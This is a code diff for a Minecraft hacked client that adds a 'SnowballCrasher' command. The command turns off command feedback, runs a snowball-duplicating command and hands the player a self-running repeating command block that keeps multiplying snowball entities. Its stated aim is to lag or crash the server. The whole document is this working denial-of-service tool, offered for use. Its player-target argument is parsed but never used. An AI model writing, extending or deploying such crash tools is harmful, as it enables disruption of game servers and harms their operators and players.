Added SnowballCrasher commandBlock exploit

src/main/java/coffee/client/feature/command/CommandRegistry.java

@@ -53,6 +53,7 @@
 import coffee.client.feature.command.impl.Toggle;
 import coffee.client.feature.command.impl.VClip;
 import coffee.client.feature.command.impl.ViewNbt;
+import coffee.client.feature.command.impl.SnowballCrasher;
 import coffee.client.helper.util.Utils;
 
 import java.util.ArrayList;
@@ -139,6 +140,7 @@ public static void init() {
         vanillaCommands.add(new ApplyEffect());
         vanillaCommands.add(new BaritoneCommand());
         vanillaCommands.add(new Search());
+        vanillaCommands.add(new SnowballCrasher());
 
         rebuildSharedCommands();
     }

src/main/java/coffee/client/feature/command/impl/SnowballCrasher.java

@@ -0,0 +1,60 @@
+package coffee.client.feature.command.impl;
+
+import coffee.client.CoffeeMain;
+import coffee.client.feature.command.Command;
+import coffee.client.feature.command.argument.PlayerFromNameArgumentParser;
+import coffee.client.feature.command.coloring.ArgumentType;
+import coffee.client.feature.command.coloring.PossibleArgument;
+import coffee.client.feature.command.coloring.StaticArgumentServer;
+import coffee.client.feature.command.exception.CommandException;
+import net.minecraft.entity.player.PlayerEntity;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.Items;
+import net.minecraft.nbt.StringNbtReader;
+import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
+
+import java.util.Objects;
+
+import static coffee.client.CoffeeMain.client;
+import static coffee.client.helper.util.Utils.Logging.message;
+
+public class SnowballCrasher extends Command {
+
+    public SnowballCrasher() {
+        super("SnowballCrasher", "Crash the server by placing a command block that crashes the server when a snowball is thrown", "crash", "snowballcrasher");
+    }
+
+    @Override
+    public PossibleArgument getSuggestionsWithType(int index, String[] args) {
+        return StaticArgumentServer.serveFromStatic(
+                index,
+                new PossibleArgument(
+                        ArgumentType.PLAYER,
+                        () -> Objects.requireNonNull(client.world)
+                                .getPlayers()
+                                .stream()
+                                .map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName())
+                                .toList()
+                                .toArray(String[]::new)
+                )
+        );
+    }
+
+    @Override
+    public void onExecute(String[] args) throws CommandException {
+        validateArgumentsLength(args, 1, "Provide target player");
+        PlayerEntity target = new PlayerFromNameArgumentParser(true).parse(args[0]);
+        String targetName = " ";
+        client.getNetworkHandler().sendCommand("gamerule sendCommandFeedback false");
+        client.getNetworkHandler().sendCommand("execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~");
+        ItemStack stack = new ItemStack(Items.REPEATING_COMMAND_BLOCK, 1);
+        try {
+            stack.setNbt(StringNbtReader.parse(
+                    "{BlockEntityTag:{Command:\"/execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~\",powered:0b,auto:1b,conditionMet:1b}}"));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
+        message("Place the command block to keep lagging the server when a snowball is thrown");
+    }
+}